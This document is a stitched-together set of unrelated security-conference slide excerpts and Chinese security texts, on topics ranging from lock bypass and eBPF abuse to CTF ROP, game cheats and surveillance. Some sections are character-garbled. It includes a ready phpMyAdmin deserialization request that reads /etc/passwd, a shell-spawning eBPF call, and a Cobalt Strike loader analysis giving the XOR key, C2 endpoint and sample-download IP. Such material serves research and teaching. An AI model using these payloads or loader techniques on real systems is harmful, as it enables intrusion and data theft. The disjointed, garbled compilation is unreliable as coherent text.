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INSECURITY ENGINEERING: Locks, Lies, and Videotape LOCK DESIGN: MECHANICAL v. SECURITY ENGINEERING  PRIOR DefCon PRESENTATIONS  Vulnerabilities in mechanical and electro- mechanical locks  Resulted from Defective or Deficient engineering  All-encompassing standards problem  Failure to understand why locks can be opened, rather than how INSECURITY ENGINEERING  DEFICIENT OR DEFECTIVE PRODUCTS  Intersection of mechanical and security engineering  FALSE SENSE OF SECURITY  What appears secure is not  How do you know the difference?  Undue reliance on standards  MISREPRESENTATIONS BY MFG SPECIFIC DESIGN FAILURES  KWIKSET SMART KEY  KABA IN-SYNC  AMSEC ELECTRONIC SAFE ES813  ILOC ELECTRO-MECHANICAL LOCK  BIOLOCK FINGERPRINT LOCK  Examine each lock for security vulnerability  Statements from the manufacturers about their security LOCKS: THE FIRST LINE OF DEFENSE  LOCKS: FIRST SECURITY BARRIER  OFTEN, THE ONLY SECURITY LAYER  MEASURED BY STANDARDS  WHAT IF NOT RATED BY UL or BHMA  HOW DO YOU KNJOW THAT LOCKS ARE SECURE?  WHAT DOES SECURE MEAN? MANUFACTURER RESPONSIBILITIES  UNIQUE RESPONSIBILITY FOR COMPETENCE  MECHANICAL ENGINEERING  SECURITY ENGINEERING  IMPLIED REPRESENTATIONS  WE ARE EXPERTS  SECURITY OF THEIR PRODUCTS  REPRESENTATIONS  WE MEET OR EXCEED STANDARDS EXPERTISE REQUIRED IN LOCK DESIGN  MECHANICAL ENGINEERING  SECURITY ENGINEERING  MINIMUM INDUSTRY STANDARDS REQUIRE LEVEL OF KNOWLEDGE  SECURITY ENGINEERING REQUIRES:  UNDERSTAND USE OF WIRES, MAGNETS, PAPERCLIPS, BALL POINT PENS, ALUMINUM FOIL  BYPASS TECHNIQUES ENGINEERING FAILURES: RESULTS AND CONSEQUENCES  INSECURITY ENGINEERING  Insecure products  Often easily bypassed  Use standards as the measure when they do not address the relevant issues  Products look great but not secure  False sense of security COST AND APPEARANCE v. QUALITY AND SECURITY  DO YOU GET WHAT YOU PAY FOR?  2$ LOCKS ARE 2$ LOCKS!  SHORTCUTS DO NOT EQUAL SECURITY  CLEVER DESIGNS MAY REDUCE SECURITY  PATENTS NOT GUARANTEE SECURITY SECURITY


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Evil eBPF Practical Abuses of an In-Kernel Bytecode Runtime Jeff Dileo DEF CON 27 call_usermodehelper("/bin/sh",(char*[]){"/bin/sh","-c","whoami",NULL},NULL,5)  @chaosdatumz  Agent of chaos  Unix aficionado  Principal Consultant / Research Director @ NCC Group  I like to do terrible things to/with/in:  programs  languages  runtimes  memory  kernels  packets  bytes  ... Outline  Introduction to eBPF  On Using eBPF for Malign Purposes  Tooling Up to Build a Birdfeeder (of Dooooom!)  The IPC You Dont See  Reliable Corruption  On Fighting Wizards and Dragons  Q&A eBPF  Background  extended BPF  What is BPF? BPF  Berkeley Packet Filter  Limited instruction set for a bytecode virtual machine  Originally created to implement FAST programmatic network filtering in kernel  has a few (2) 32-bit registers (and a hidden frame pointer)  load/store, conditional jump (forward), add/sub/mul/div/mod, neg/and/or/xor, bitshift BPF  tcpdump -i any -n 'tcp[tcpflags] & (tcp-syn|tcp-ack) != 0' (000) ldh [14] (001) jeq #0x800 jt 2 jf 10 (002) ldb [25] (003) jeq #0x6 jt 4 jf 10 (004) ldh [22] (005) jset #0x1fff jt 10 jf 6 (006) ldxb 4*([16]&0xf) (007) ldb [x + 29] (008) jset #0x12 jt 9 jf 10 (009) ret #262144 (010) ret #0 eBPF  extended Berkeley Packet Filter  designed to be JITed with one to one mapping  originally designed with the possible goal in mind to write programs in restricted C  socket filters, packet processing, tracing, internal backend for classic BPF, and more...  Many different APIs exposed through the bpf(2) syscall  The main ones are for loading/interacting with eBPF programs and maps  Programs can be one of several types  Maps are in-kernel structures shared between kernel space eBPF code and userspace program code eBPF  High Level Overview  eBPFs virtual ISA is featureful enough to support C  The kernel places restrictions on eBPF programs to prevent it from breaking the kernel  eBPF programs are created through the bpf(2) syscall  Pass in an array of eBPF instructions a


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Security)Auditing)Mobile)Apps) ! DEF)CON)23! Sat.,)Aug)9,)2015)9C1! Sam)Bowne) City)College)San)Francisco! Slides)and)projects)at)samsclass.info) Adding&Trojans&to&Apps& Slides'and'projects'at'samsclass.info' Android&is&#1&  80%&market& share&in&2014&  Link&Ch&4a& Slides'and'projects'at'samsclass.info' App&Signing&  All&apps&must&be&signed&to&be&installed,&BUT&  Android&allows&selfEsigned&cerGﬁcates&  Google&Play&is&the&"oﬃcial"&app&store,&BUT&  Google&doesn't&police&it&well&  Apps&can&be&installed&from&email,&Web&pages,&etc.& Slides'and'projects'at'samsclass.info' Android&Debug& Bridge&  CommandEline&tool&  Allows&you&to&communicate&with&a&mobile& device&via&a&USB&cable&or&an&SVD&running& within&an&emulator&  Connects&to&device's&daemon&running&on&TCP& port&5037& Slides'and'projects'at'samsclass.info' Useful&ADB&Commands&  push&  Copies&a&ﬁle&from&your&computer&to&the&mobile& device&  pull&  Copies&a&ﬁle&from&the&mobile&device&to&your& computer&  logcat&  Shows&logging&informaGon&on&the&console&  Useful&to&see&if&an&app&or&the&OS&is&logging& sensiGve&informaGon& Slides'and'projects'at'samsclass.info' Useful&ADB&Commands&  install&  Copies&an&applicaGon&package&ﬁle&(APK)&to&the& mobile&device&and&installs&the&app&  Useful&for&sideEloading&apps&(so&you&don't&have&to& use&Google&Play)&  shell&  Starts&a&remote&shell&on&the&mobile&device&  Allows&you&to&execute&arbitrary&commands& Slides'and'projects'at'samsclass.info' Decompiling&and&Disassembly& Slides'and'projects'at'samsclass.info' StaGc&Analysis&  Source&code&is&generally&kept&conﬁdenGal&by& app&developers&  A&binary,&compiled&app&can&be&analyzed&by& disassembling&or&decompiling&them,&into&  Smali&assembly&code&(used&by&Dalvik&VM),&or&  Java&code& Slides'and'projects'at'samsclass.info' Slides'and'projects'at'samsclass.info' TD&Ameritrade&  No&obfuscaGon& Slides'and'projects'at'samsclass.info' Bank&of&America&  ProGuard&Free&Obfuscator&  Worthless& Slides'and'projects'at'samsclass.info' Java&v.&Smali&Code& Slides'a


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### 网络信息搜集技巧 - 公开渠道 - 目标 Web 网页地理位置相关组织 - 组织结构和人员个人资料电话电子邮件 - 网络配置安全防护机制的策略和技术细节 - 通过搜索引擎查找特定安全漏洞或私密信息的方法 - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database/) - 科学上网 ### 信息搜集技术的基本搜索技巧 - Google 基本搜索与挖掘技巧 - 保持简单明了的关键词 - 使用最可能出现在要查找的网页上的字词 - 尽量简明扼要地描述要查找的内容 - 选择独特性的描述字词 - 社会公共信息库查询 - 个人信息人口统计局 - 企业等实体YellowPage企业信用信息网 - 网站域名IPwhois 等 ### 信息搜集技术关于地图和街景搜索 - 国外Google MapGoogle EarthGoogle Street View - 国内百度地图卫星地图街景 - 从网络世界到物理世界IP2Location - whois 数据库 - GeoIP - IP2Location - 纯真数据库QQ IP 查询


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目录 目录 目录 目录 1.概述3 2.输入验证和输出显示3 2.1命令注入4 2.2跨站脚本4 2.3文件包含5 2.4代码注入5 2.5 SQL 注入6 2.6 XPath 注入6 2.7 HTTP 响应拆分6 2.8文件管理6 2.9文件上传7 2.10变量覆盖7 2.11动态函数7 3.会话安全8 3.1 HTTPOnly 设置8 3.2 domain 设置8 3.3 path 设置8 3.4 cookies 持续时间8 3.5 secure 设置8 3.6 session 固定9 3.7 CSRF 9 4.加密9 4.1明文存储密码9 4.2密码弱加密9 4.3密码存储在攻击者能访问到的文件9 5.认证和授权10 5.1用户认证10 5.2函数或文件的未认证调用10 5.3密码硬编码10 6.随机函数10 6.1 rand() 10 6.2 mt_srand()和 mt_rand() 11 7.特殊字符和多字节编码11 7.1多字节编码11 8. PHP 危险函数11 8.1缓冲区溢出11 8.2 session_destroy()删除文件漏洞12 8.3 unset()-zend_hash_del_key_or_index 漏洞12 9.信息泄露13 9.1 phpinfo 13 10. PHP 环境13 10.1 open_basedir 设置13 10.2 allow_url_fopen 设置13 10.3 allow_url_include 设置13 10.4 safe_mode_exec_dir 设置14 10.5 magic_quote_gpc 设置14 10.6 register_globals 设置14 10.7 safe_mode 设置14 10.8 session_use_trans_sid 设置14 10.9 display_errors 设置14 10.10 expose_php 设置14 概述 概述 概述 概述 代码审核是对应用程序源代码进行系统性检查的工作它的目的是为了找到并且修复应 用程序在开发阶段存在的一些漏洞或者程序逻辑错误避免程序漏洞被非法利用给企业带来不必 要的风险 代码审核不是简单的检查代码审核代码的原因是确保代码能安全的做到对信息和资源进 行足够的保护所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的审核人员 可以使用类似下面的问题对开发者进行访谈来收集应用程序信息 应用程序中包含什么类型的敏感信息应用程序怎么保护这些信息的 应用程序是对内提供服务还是对外哪些人会使用他们都是可信用户么 应用程序部署在哪里 应用程序对于企业的重要性 最好的方式是做一个 checklist让开发人员填写Checklist 能比较直观的反映应用程序的 信息和开发人员所做的编码安全它应该涵盖可能存在严重漏洞的模块例如数据验证身份 认证会话管理授权加密错误处理日志安全配置网络架构 输入验证和输出显示 输入验证和输出显示 输入验证和输出显示 输入验证和输出显示 大多数漏洞的形成原因主要都是未对输入数据进行安全验证或对输出数据未经过安全处 理比较严格的数据验证方式为 对数据进行精确匹配 接受白名单的数据 拒绝黑名单的数据 对匹配黑名单的数据进行编码 在 PHP 中可由用户输入的变量列表如下 $_SERVER $_GET $_POST $_COOKIE $_REQUEST $_FILES $_ENV $_HTTP_COOKIE_VARS $_HTTP_ENV_VARS $_HTTP_GET_VARS $_HTTP_POST_FILES $_HTTP_POST_VARS $_HTTP_SERVER_VARS 我们应该对这些输入变量进行检查 命令注入 命令注入 命令注入 命令注入 PHP 执行系统命令可以使用以下几个函数systemexecpassthru``shell_exec popenproc_openpcntl_exec 我们通过在全部程序文件中搜索这些函数确定函数的参数是否会因为外部提交而改变 检查这些参数是否有经过安全处理 防范方法 使用自定义函数或函数库来替代外部命令的功能 使用 escapeshellarg 函数来处理命令参数 使用 safe_mode_exec_dir 指定可执行文件的路径 跨站脚本 跨站脚本 跨站脚本 跨站脚本 反射型跨站常常出现在用户提交的变量接受以后经过处理直接输出显示给客户端存储 型跨站常常出现在用户提交的变量接受过经过处理后存储在数据库里然后又从数据库中读取 到此信息输出到客户端输出函数经常使用echoprintprintfvprintf<%=$test%> 对于反射型跨站因为是立即输出显示给客户端所以应该在当前的 php 页面检查变量被 客户提交之后有无立


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CTF For Beginner bananaapple $whoami?  bananaapple  交通大學資工系大四  從開始學習資安到現在約一年  專長 : Binary exploit  目前為 Bamboofox 中的一員  曾經參與的比賽  CTCTF ( 台交駭客搶旗賽 )  Bosten key party CTF 2015  DEF CON CTF Qualifier 2015  HoneyMe CTF   故事的開始 DESCRIPTION 這是專在講 "程式不安全" 的課程也建立一個 wargame.cs.nctu.edu.tw 的專屬網站這門課最早在96年開設中 間斷了幾年去年恢復開課但講師力不從心宣示是最後一次 直到最近學生們很爭氣地加入 HITCON 戰隊與 CHROOT台 科大台大等學生合力打到世界駭客年會的亞軍表示很希望維持 這股氣勢同時響應科技部次長的宣示要祕密培訓學生於是 重啟程式不安全的課程 故事的開始 一點開課程網頁 講師: 大家可以開始了 蛤? 不會吧 連題目都看不懂 講師: 可以先做第三題, 很簡單的 最後實在是受不了 才去問講師要做什麼 telnet secprog.cs.nctu.edu.tw 10003 ( 當初連 nc 是什麼都不知道 ) 才開始解題 當初想說要是兩個禮拜內沒解出任何一題 就放棄吧 ROP 給你固定的 instructions 選項 組合 instructions 來合成三個 system call open -> read -> write open /home/rop/flag open return file fd read file fd to buffer write buffer to STDOUT ROP 當初的 payload 1,13,13,11,9,7,7,12,4,2,2,8,8,0,12,13,1,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,13,9,6, 9,13,4,4,8,12,12,12,12,12,0,9,12,3,1,8,8,0 SECPROG{return_oriented_programming_is_easy!} 這是我最初解出的 wargame 後來又問了那要怎麼看 binary 旁邊就有一個人回說用 objdump 看阿 我用 objdump 一行一行看組語看了四五個禮拜後才知道有 IDA PRO 這種工具 X當初到底是誰說用 objdump 看 binary 的 只是也意外地學習到一項技能 打 CTF 的時候有些題目需要能夠直接看組語的能力 因為IDA PRO 翻出的 c code 可能會不正確 就可以直接看 assembly 去驗證 IDA PRO簡介  強大的反組譯工具  Hex-Rays decompiler plugin CTF  全名為 Capture The Flag 簡稱為 CTF  是目前網路當紅的資安競賽  培育資安人才之搖籃  主要的類型  Jeopardy  Attack And Defense  King of the Hill Jeopardy Jeopardy  Jeopardy 為一種遊戲進行方式中譯答題賽  題目由主辦單位公布  哪個 service 開在哪個 IP 的哪個 port  題目的基本資訊hint  提供 binary 檔案下載 Attack And Defense Attack And Defense Attack And Defense  每支隊伍負責維護一台 server ( gamebox ) 上的數個 service  遊戲目的大致可以分為兩種  維護 service : 能夠獲得基本分數  修補漏洞 : 不影響正常程式行為的情況下進行修補 ( binary patch )  攻擊服務 : 被入侵的一方會扣分, 扣的分數平均分給入侵的隊伍 Attack And Defense  通常一個 service 會存在很多個漏洞  在家目錄底下會有 flag 檔案  每過一個 round flag 會更新  監聽網路流量分析封包並修補漏洞以及重送別隊的 payload  植入後門持續性地送 flag 回來 King of the Hill King of the Hill  和 Attack And Defense 比較相近的類型  佔領的時間越久得到的分數越多  有些類型可以把自己的 binary 寫到主機上  或是把自己的 key 寫到首頁上 第一次的CTF 學長後來看我蠻認真地在學習 就邀我跟他們 (


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安全文本分析：

0x00 IDAburp 1. 2. 3. 4. vpnvpn 0x01 1. IAM 2. idedr 3. 4. ipurl wafids 5. 0x02 1. SDP 2. NIST 3. SDP SDP SDPSDP SDPSDPSDP agentagentSDP iptablesipSDP agentipiptablesip SDP NIST NIST (PDP)(PEP) NISTISOAccess management-AMPDPPEP NISTPDP/PEP NISTPDPSDPPEPSDPagent 0x03 sxfatrustatrustvpn VPN ip vpn vpn atrustedrsdk atrustmacID edr atrust edrwafhips atrustatrustvpnvpn vpn agent atrustsdp atrust 0x04 vpn vpnvpn vpnweb web vpnvpnipvpn sslvpnatrust sslvpnvpnvpn SPA 1. udpudpip 2. ssl atrust SPA SDP 0x05 POP sasecdn pop poppopatrust poppop


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安全文本分析：

TenProtect Conficential, Copyright @Tencent, 2019 游戏安全的攻防艺术 joeywzhu@tencent.com 2019.02 TenProtect Conficential, Copyright @Tencent, 2019 个人简介  2013 至今腾讯游戏业务安全部技术专家  2005-2012 趋势科技架构师  2005-2008, 开发和设计 PE 病毒沙箱  2008-2012, 开发和设计脚本漏洞分析引擎  2013 to now, 开发和设计游戏安全通用方案  2011.8 Defcon 讲演  Chinese phishing at Defcon19, Las Vegas TenProtect Conficential, Copyright @Tencent, 2019 1. 外挂是什么 TenProtect Conficential, Copyright @Tencent, 2019 多少秒扫雷能够完成 1s 1s TenProtect Conficential, Copyright @Tencent, 2019 CrossFire 透视外挂 TenProtect Conficential, Copyright @Tencent, 2019 注 : 为了适应手游屏幕特点手游上的外挂增加了射线 CrossFire 手游透视外挂 TenProtect Conficential, Copyright @Tencent, 2019 外挂的发展史  单机游戏 CheatEngine/FPE  网络游戏  脱机挂 (WPE/WireShark)  加速 / 倍攻 ( 数值异常 )  透视 / 自瞄 (Hook, 驱动 )  炸房 / 强登  打金工作室 / 代充 / 代练  手游模拟器 TenProtect Conficential, Copyright @Tencent, 2019 目前中国的外挂行业运作模式 TenProtect Conficential, Copyright @Tencent, 2019 中国网游作弊用户分布  越热门的游戏作弊越多  一些作弊软件卖的很贵  绝大作弊者都是新进玩家  60% 作弊发生在网吧  由于 PUBG 的影响 fps 作弊 现在非常流行 TenProtect Conficential, Copyright @Tencent, 2019 FPS 游戏作弊的爆发  PUBG  在 2108 年超过 2700 款外挂被监控到  高峰期每天超过 100 款外挂进行更新  FPS  2018 年大约有 60 款以上的 FPS 生存游戏  所有的游戏都发现有外挂的存在  APEX  自 02-05 发布以来 72 小时超过 1000 万玩家  已经发现超过 60 外挂在售卖 TenProtect Conficential, Copyright @Tencent, 2019 月入宝马不是梦 TenProtect Conficential, Copyright @Tencent, 2019 2. 外挂技术原理的讨论 TenProtect Conficential, Copyright @Tencent, 2019 安全领域的大讨论  软件漏洞  游戏 bug 复制金币  客户端逻辑没有服务器验证  盗版问题  网络安全  报文篡改  DDOS 攻击  服务器数据安全  服务器入侵  SQL 注入 / 回档 TenProtect Conficential, Copyright @Tencent, 2019 暗黑 3 漏洞 - 金币复制 TenProtect Conficential, Copyright @Tencent, 2019 内存修改型  游戏对象属性  血量攻击力怪物等等  修改或调用游戏逻辑  碰撞检测自动瞄准  游戏资源文件  手游 / 弱联网  本地效果 TenProtect Conficential, Copyright @Tencent, 2019 LOL 改模型 TenProtect Conficential, Copyright @Tencent, 2019 堡垒之夜 / 人物透视 TenProtect Conficential, Copyright @Tencent, 2019 脱机挂 / 协议模拟  端游  UnReal Engine( 开源 )  外挂工作室  页游  Fiddle  手游  离线 PUBG Radar show player position at mobile though proxy hijack TenProtect Conficential, Copyright @Tencent, 20


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Introduction to Unicornscan Introducing Unicornscan RIDING THE UNICORN Unicornscan is an open source (GPL) tool designed to assist with information gathering and security auditing. This talk will contrast the real world problems weve experienced using other tools and methods while demonstrating the solutions that Unicornscan can provide. For the latest copy of this talk go to http://www.dyadlabs.com/defcon05.pdf Presented By: Robert E. Lee & Jack C. Louis Introducing Unicornscan  Dyad Labs, Inc. Introduction to Unicornscan Outline 1 Introduction to Unicornscan Scatter Connect Unicornscan - History, Background, & Technical Details Demo Robert E. Lee & Jack C. Louis Introducing Unicornscan  Dyad Labs, Inc. Introduction to Unicornscan Scatter Connect Unicornscan - History, Background, & Technical Details Demo Speakers Speakers: Robert E. Lee CEO, Dyad Labs, Inc. Director of Projects and Resources, ISECOM OPST & OPSA Certiﬁed Trainer Jack C. Louis Chief Security Researcher, Dyad Labs, Inc. Systems Programmer OPST & OPSA Certiﬁed Trainer Anthony de Almeida Lopes Intern, Dyad Labs, Inc. Robert E. Lee & Jack C. Louis Introducing Unicornscan  Dyad Labs, Inc. Introduction to Unicornscan Scatter Connect Unicornscan - History, Background, & Technical Details Demo 3-way Handshake Connect Picture Robert E. Lee & Jack C. Louis Introducing Unicornscan  Dyad Labs, Inc. Introduction to Unicornscan Scatter Connect Unicornscan - History, Background, & Technical Details Demo Scatter Connect Picture Robert E. Lee & Jack C. Louis Introducing Unicornscan  Dyad Labs, Inc. Introduction to Unicornscan Scatter Connect Unicornscan - History, Background, & Technical Details Demo Scatter Connect Explained Move TCP connection state tracking out of kernel space and into user space One process is the master control (Unicornscan). Keeps track of what packets need to be sent Who can send them The responses that have come back connection state. A second process is the sender (unisend). Assembles the p


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1 个图标伪装上线分析 事件背景 分析经过 并不简单 娱乐下 IOC 加社区 某重要活动结束前天安全的与盾星球内部交流群有位蓝队兄弟扔出来三个公鸡队样本让群还 在的师傅帮忙分析下由此便展开了下的分析经过 先拿到样本之后file命令做简单识别file能识别的件格式还是很多的但这三个样本不巧被公 鸡队做了脚已经混淆了件头 010Editor打开件简单查看了下发现件当中存在明字符串整体来说此时样本较奇怪 事件背景 分析经过 2 这时候坤佬wonderkun在群来了句看出来件混淆的式了0xEE异或即可得到混淆前的原 件具体原理坤佬解释这是统计学不知道异或的密钥是个字节所以要统计单字节双字节和四 字节 由于pe件中出现最多的是 0x00 所以按照单字节统计出现次数最多的就密钥双字节四 字节以此类推 看下此时件的头部的分布的确0xEE出现次数最多坤佬太强了学到了 3 按照坤佬的统计并且结合件后半部分存在明可得知只是头部数据被0xEE异或混淆概在 010Editor中查看数据后发现前0x400字节存在问题所以只需要对前0x400字节做0xEE异或即可 4 去除头部的混淆之后1件为EXEconsole程序2件为DLL3件依然是未知格式 并且1.exe为微软签名的程序结合2件为DLL3件未知以及常的恶意软件loader加载式这 猜测2.dll为恶意DLL程序通过运1.exe实现加DLL劫持再加载运3样本中实际的后指令 通过进步分析1.exe为MpRunCmd.exe2.dll应该为mpclient.dll 5 所以这的mpclient.dll应该就是恶意软件的loader所在模块IDA中直接载分析后发现所有导出函 数都会调loader的加载函数这样做可以保证loader定会被执 6 接着对loader函数进分析先是调ShowWindow隐藏MpCmdRun.exe进程的窗 然后是获取程序的件名不过这个Filename始终没有被到猜测应该是之前从些功能函数copy 的代码没有删除不必要的函数调 最后是loader的主要函数以字符串"kuailele"为解密key解密件当中的后指令并加载 7 跟进函数sub_180001870先是对明字符串进加密解密最后还是明字符串这搞不懂作 者想啥 此时得到的v2依然为宽字符串"C:\ProgramData\TU.IO"接下来调sub_180001710并传v2经过 调试分析作者实现了GetProcAddress函数采计算字符串Hash并较的式规避调系统 GetProcAddress以及隐藏导表函数的敏感特征函数sub_180001710的实际作是读取传件名 也就是C:\ProgramData\TU.IO到Func程序全局变量当中 8 接下来调sub_180001680函数对读取的件内容进解码 跟进函数sub_180001680发现函数第个参数是需要解码的buffer第个参数为buffer的度第三 个参数也就是a1这是"kuailele"为key第四个参数为key的度并且以key的度-1为循环 度对buffer的数据进异或解码这存在个问题key的最后个字节没有被到猜测可能是作 者编写程序循环度判断有些问题这正常应该以key的全部度为循环异或解码 9 接下来动态获取函数VirtualProtect并调修改Func指向地址的内存属性为64也就是 PAGE_EXECUTE_READWRITE 10 最后通过EnumObjects回调执Func指向内存的指令 为了验证分析的结果是否正确这笔者星球专版CS IceRiver成个64位的beacon.bin件并 以"kuailele"为key通过循环异或对beacon.bin进编码将编码后的件复制 到"C:\ProgramData\TU.IO"件当中然后双击执1.exe观察IceRiver是否收到beacon权限 11 可以看到成功接收到了beacon权限且所在进程为1.exe这说明分析是正确的 上分析的是加loader的处理过程奇怪的问题是即使对样本3件进循环异或编码获取到的 件依然是未知格式并且在010Editor当中也看不到任何明数据这说明样本3应该还有其他混淆的存 在群那位蓝队的师傅说这三个件是通过钓反向溯源到的远程件也就是说很可能在钓 当中存在对样本3的解码过程 并不简单 12 先按照群师傅提供的信息这三个样本是在http://112.74.109.76:5559/下载到的 确定是回连到CobaltStrike监听器且回连地址为https://service-baw5g4iz- 1309608249.bj.apigw.tencentcs.com攻击者通过图标伪装的式诱导标户点击诱饵.exe上线 由于已经确定是CobaltStrike C2所以这先决定对teamser


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Host-based Intrusion Prevention on Windows and UNIX Dr. Rich Murphey White Oak Labs WHITE OAK LABS 2 DEFCON XI 8/3/2003 Acknowledgements  Niels Provos  OpenBSDs systrace  DT  suggested this thread last year  Greg Hoglund  insights  md5 at da ghettohackers  reviews WHITE OAK LABS 3 DEFCON XI 8/3/2003 What is Intrusion Prevention?  To a netsec person it looks like a firewall. Messages Rules Messages (Packets) WHITE OAK LABS 4 DEFCON XI 8/3/2003 What is Intrusion Prevention?  To a AV person it looks like an AV. Messages Signatures Messages (File IO) WHITE OAK LABS 5 DEFCON XI 8/3/2003 What is Intrusion Prevention? Network-based Host-based Packets Signatures API() Signatures WHITE OAK LABS 6 DEFCON XI 8/3/2003 What is Intrusion Prevention? Packets Signatures Socket() Signatures Consider personal firewalls that combine host and network based filtering. WHITE OAK LABS 7 DEFCON XI 8/3/2003 How is IP different?  Rather than rules, it uses signatures.  But these arent the same signatures you might run in an Intrusion Detection Systems (IDS)  Signatures as access controls. API() Signatures WHITE OAK LABS 8 DEFCON XI 8/3/2003 How is it different?  Consider SNORT/Hogwash..  Signature-based Firewall  IDS vendors call this Gateway IDS Packets Signatures WHITE OAK LABS 9 DEFCON XI 8/3/2003 What is Intrusion Prevention?  It's complementary to AV & Firewall  Filters messages between applications and the kernel.  Uses signatures to recognize payload behavior or injection mechanisms. API() Signatures WHITE OAK LABS 10 DEFCON XI 8/3/2003 Why the heck should we care?  Encryption, fragmentation and re- encoding, can prevent application layer filtering on the wire.  Data resides in the clear in the application layer. So do exploits. WHITE OAK LABS 11 DEFCON XI 8/3/2003 Why the heck should we care?  Visibility into the application layer provides capability for better contextual discrimination. = Stops certain kinds of exploits. WHITE OAK LABS 12 DEFCON XI 8/3/2003 So, why do we need anothe


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# Phpmyadmin Scripts/setup.php Deserialization Vulnerability (WooYun-2016-199433) [中文版本(Chinese version)](README.zh-cn.md) Affected version: 2.x ## Setup Run the following command to start phpmyadmin: ``` docker compose up -d ``` Visit `http://your-ip:8080` and you will see the phpmyadmin home page. Because there is no connection to the database, we will get an error. But this vulnerability is not related to the database, so just ignore. ## Exploit Send the following package to read `/etc/passwd`: ``` POST /scripts/setup.php HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 80 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";} ``` ![](1.png)


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Exploit Archaeology First in the series of talks on excavating and exploiting retro hardware. I promise the talk will get technical. Who am I?  Penetration Tester  Geek Dad  Amateur Phone Phreak  @savant42 on the twitters Who Im not.  Leet.  A programmer.  A reverse engineer-er.  A speller. Why this talk? From 50lb Weight to Stealth Attack Platform Methodology > Results The Journey And to see if I could. First Off... Traveling with a Payphone is a giant pain in the ass. Anyway. Payphones used to be like this. Nowadays theyre like this. If you see a payphone in your neighborhood today, you laugh. If you see someone using a payphone? You lock your car doors and roll up the windows. Even Indy is over it. Ever since I was a kid Ive always wanted my very own payphone One day, I got one as a gift. (Thanks Tiffany & Gene Erik) Still popular in correctional facilities This one came from a prison. No joke. (Yes, I cleaned the ever loving shit out of it)  BOCOT = Bell Owned Coin Operated Telephone (Telco Owned)  COCOT = Customer Owned Coin Operated Telephone (Private) BOCOT vs. COCOT Bell Owned BOCOTS could be Red Boxed (utilize inband ACTS tones to signal coin insertion) Its probably still possible in certain regions of the US but most RBOCs have outsourced to private companies. COCOT Payphones can not be Red Boxed without Operator Intervention (as far as *I* know) because they dont use ACTS With Smart Payphones all of the call regulation, coin counting and management, etc, is done inside the payphone. Telco payphones do all the magic at the Central Ofﬁce. Telling the difference? Most (All?) BOCOT Payphones use the General Electric style housing Coin Return is on the Left and the armored cable connects to the front of the housing. COCOTS often use the GTE style housing with the coin return slot on the right and the armored cable connects on the side. This is deﬁnitely not always the case, though. This Payphone. Elcotel Series 5 Line-Powered Payphone Internal Battery, trickle


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macOS 从运行库劫持到内核提权 周智 About  Senior Security Engineer of AntFinancial (Alipay) LightYear Security Labs  Product security and offensive security research  Acknowledged by Microsoft, Apple, Adobe and VMware for reporting security vulnerabilities  Conference speaking:  BlackHat USA 2017  HITB 2019  TyphoonCon 2019 PART 01 Attack Surface CONTENTS PART 02 Root Cause PART 03 Exploit PART 04 Mitigation 01 02 03 04 Why kernel exploit  To overcome or disable System Integrity Protection (Rootless)  File system protection (/System)  Attaching to Apple-signed processes  Enforced signature validation for KEXT  Deploy Rootkits  Gain more pwn points Motivation  General approach  attack kernel mode driver or XNU to control $pc, then disable SIP in kernel mode  Think outside the box  Is memory corruption always necessary?  Do the target have be the kernel itself or kernel mode drivers?  What about user space SIP bypass to gain kernel privilege? PART 01 An Attack Surface patch kextd (@osxreverser, Nov 2013) Custom build of kextload (@patrickwardle, BlackHat US 2015) Old days with kext_tools  Issue 676: Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS (CVE-2015-3708)  Issue 353: OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension (CVE-2015-3709)  Issue 1520: MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules (CVE-2018-4139)  Issue 676: Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS (CVE-2015-3708) User mode only, logic  Issue 353: OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension (CVE-2015-3709) User mode only, logic  Issue 1520: MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules (CVE-2018-4139) User mode only, MIG lifetime Arbitrary code execution in kextd == kernel code execution kextload kextd XNU Doesnt matter What makes kextd so special  I


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Digital Leviathan Nation-State Big Brothers (from huge to little ones) Eduardo Izycki & Rodrigo Colli Las Vegas, August 11th 2018 AGENDA INTRO SOURCES OUTCOMES CONCLUSION INTRO INTRO We should give our obedience to an unaccountable sovereign otherwise what awaits us is a state of nature that closely resembles civil war  a situation of universal insecurity. ? ! The claim Terrorism, cybercrime, foreign espionage, among other are examples that support politicians claims for increase state power over online life. Opposing evidence The current use of cyber offensive tools are aimed to political objectives rather than public safety Thomas Hobbes Espionage Surveillance / Eavesdropping Censorship Stealing of information and/or personal data (for achieving political purposes, i.e. opposition party, NGO, ethnic minorities) Untargeted violations of privacy (monitoring of behavior, activities, or other changing information of people online) Block specific applications or technologies; filtering and blocking of websites; manipulation of content or traffic manipulation; violations of user rights. INTRO 1 2 3 SOURCES APT Reports Leaks from spyware providers Acquisition of technology  Total of 758 reports/blog posts from vendors, NGO, CSIRT and universities,  The dataset has bias from a western perspective (close to 80%)  Two big providers of surveillance solutions Hacking Team and Gamma Group,  Data is available from multiple sources (Wikileaks has a good search platform)  Surveillance and/or intrusion technologies reported from multiple sources  Purchases made by different countries (potential cyber capabilities) SOURCES 1 2 3  Focus on attacks targeting NGO, political groups, media outlets, or opposition was considered as an indicator of state misbehavior  Many cases it was possible to identify who acquired it (law enforcement, military, intelligence, etc)  Buggedplanet.info and Surveillance Industry Index (SII) were helpful sources Censorship Transparency Reports  Freedom House


